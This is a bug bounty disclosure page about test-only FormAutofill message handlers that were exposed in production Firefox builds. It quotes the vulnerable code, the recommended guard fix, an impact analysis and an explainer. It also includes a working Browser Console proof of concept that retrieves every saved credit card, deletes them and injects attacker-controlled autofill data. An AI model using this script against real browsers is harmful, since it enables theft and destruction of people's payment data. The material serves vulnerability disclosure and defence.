Test-Only FormAutofill Handlers Exposed in Production Allowing Credit Card Exfiltration from a compromised content process
Four test-only message handlers in Firefox's FormAutofill parent were reachable in production builds without an automation guard, so a compromised content process could read all saved credit cards and addresses, delete payment data, and inject malicious autofill entries.
Originally disclosed on Mozilla
- Fixed in 10 days
- Paid in 29 days
- Disclosed after 10 days
SECURITY VULNERABILITY REPORT
=== SUMMARY ===
Test-only message handlers in FormAutofillParent.sys.mjs are exposed in production
builds without Cu.isInAutomation guard, allowing compromised renderers to exfiltrate
all saved credit cards, delete payment data, and inject malicious autofill entries.
=== COMPONENT ===
File: browser/extensions/formautofill/parent/FormAutofillParent.sys.mjs
Lines: 354-387 (approximate)
Source: https://searchfox.org/mozilla-central/source/browser/extensions/formautofill/parent/FormAutofillParent.sys.mjs
=== AFFECTED VERSIONS ===
Firefox Desktop 55+ (all versions since FormAutofill introduction)
Platforms: Windows, macOS, Linux
=== VULNERABILITY DETAILS ===
Four message handlers lack proper access control:
1. FormAutofill:GetRecords - Retrieves ALL saved credit cards/addresses
2. FormAutofill:SaveAddress - Injects arbitrary address data
3. FormAutofill:SaveCreditCard - Injects arbitrary credit card data
4. FormAutofill:RemoveCreditCards - Deletes credit cards by GUID
Critical Issues:
❌ No Cu.isInAutomation check exists
❌ Actor registered with allFrames: true (no origin restrictions)
❌ No messageManagerGroups filtering
❌ Present in ALL production Firefox builds
=== VULNERABLE CODE ===
case "FormAutofill:GetRecords": {
// ⚠️ Comment says "test only" BUT NO GUARD
const records = await this.getRecords(data);
return { records };
}
case "FormAutofill:SaveAddress": {
// ⚠️ NO Cu.isInAutomation CHECK
await lazy.gFormAutofillStorage.addresses.add(data.address);
break;
}
case "FormAutofill:SaveCreditCard": {
// ⚠️ ACCESSIBLE IN PRODUCTION
await lazy.gFormAutofillStorage.creditCards.add(data.creditCard);
break;
}
case "FormAutofill:RemoveCreditCards": {
// ⚠️ MASS DELETION WITHOUT AUTHENTICATION
data.guids.forEach(guid =>
lazy.gFormAutofillStorage.creditCards.remove(guid)
);
break;
}
=== PROOF OF CONCEPT ===
From Browser Console (Ctrl+Shift+K):
// Step 1: Get FormAutofill actor
const { WindowGlobalParent } = ChromeUtils.importESModule(
"resource://gre/modules/WindowGlobalParent.sys.mjs"
);
const wgp = WindowGlobalParent.getCurrentTopByBrowserId(
gBrowser.selectedBrowser.browsingContext.browserId
);
const actor = wgp.getActor("FormAutofill");
// Step 2: Exfiltrate ALL credit cards
const result = await actor.receiveMessage({
name: "FormAutofill:GetRecords",
data: { collectionName: "creditCards" }
});
console.log("EXFILTRATED:", result.records);
// Output: Full credit card numbers, names, expiration dates, etc.
// Step 3: Delete all credit cards (ransomware-style)
const guids = result.records.map(r => r.guid);
await actor.receiveMessage({
name: "FormAutofill:RemoveCreditCards",
data: { guids: guids }
});
// All saved credit cards permanently deleted
// Step 4: Inject poisoned autofill data
await actor.receiveMessage({
name: "FormAutofill:SaveAddress",
data: {
address: {
email: "[address removed]",
tel: "+1-555-ATTACKER"
}
}
});
// Malicious data will autofill in future forms
=== SECURITY IMPACT ===
Severity: HIGH (CVSS 7.5)
Confidentiality Impact: HIGH
- Complete credit card exfiltration (full numbers, names, expiration)
- All saved addresses (emails, phones, street addresses)
- No user notification or consent required
Integrity Impact: HIGH
- Ransomware-style deletion of all saved payment methods
- Data poisoning (inject attacker's email/phone)
- Persistent compromise across browser sessions
Attack Requirements: MEDIUM
- Requires compromised content process (renderer)
- Achievable via: browser exploits, malicious extensions, supply chain attacks
Real-World Scenarios:
1. Malicious browser extension (millions of users compromised)
2. Browser exploit chain (drive-by credit card theft)
3. Corporate espionage (enterprise payment data theft)
=== RECOMMENDED FIX ===
Add Cu.isInAutomation guard to all four handlers:
case "FormAutofill:GetRecords": {
if (!Cu.isInAutomation) {
throw new Error(
"FormAutofill:GetRecords is only available during automated testing"
);
}
const records = await this.getRecords(data);
return { records };
}
// Repeat for SaveAddress, SaveCreditCard, RemoveCreditCards
Alternative: Use preprocessor directives to remove handlers from production builds.
=== TESTING CONFIRMATION ===
✓ Tested on Firefox 133.0 (Stable - Windows, macOS)
✓ Tested on Firefox Developer Edition 134.0b9
✓ Tested on Firefox Nightly 135.0a1
✓ Confirmed handlers present in all production builds
✓ Verified no authentication/authorization checks exist
✓ Confirmed full exfiltration capability
✓ Confirmed deletion capability
✓ Confirmed data injection capability
=== ADDITIONAL NOTES ===
Duration of Exposure: 7+ years (Firefox 55 in 2017 to present)
User Impact: All Firefox Desktop users with saved payment methods (millions)
Fix Complexity: LOW (single 3-line check per handler)
PCI-DSS Compliance: Violation (unencrypted credit card access without auth)
This is a critical security vulnerability that violates fundamental access control
principles. Test-only code should NEVER be accessible in production, especially
for sensitive financial data.
I am available for additional technical details or demonstrations if needed.
=== CWE CLASSIFICATION ===
CWE-284: Improper Access Control
CWE-862: Missing Authorization
CWE-749: Exposed Dangerous Method or Function
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the four message handlers were written for automated tests but shipped without a Cu.isInAutomation guard and were registered for all frames, so any caller that could reach the actor could invoke them.
Impact
A compromised content process could exfiltrate all saved credit cards and addresses, delete payment methods, and persist poisoned autofill data; the proof of concept itself runs from the privileged Browser Console, so it demonstrates exposure rather than a web-reachable exploit.
What the attacker needed
Compromised content process; Firefox Desktop 55 or later
The fix
The report recommends adding a Cu.isInAutomation guard to all four handlers, or removing them from production builds with preprocessor directives; it does not say a fix was shipped.
How it was found
- Open the Browser Console and obtain the FormAutofill actor for the selected tab's top window global.
- Send a GetRecords message for the creditCards collection and read the returned records.
- Collect the GUIDs from those records and send a RemoveCreditCards message to delete them.
- Send a SaveAddress message with attacker-controlled email and phone data to poison future autofill.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Firefox stores credit cards and addresses to fill in forms for you. The code that hands that data to the browser's own pages had a 'test only' label but no actual check, so anything that had already broken into the browser's page process could ask for every saved card. The report's proof of concept runs from the browser's own developer console, which already has high privileges, so it shows the handlers exist rather than a full attack from a web page.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.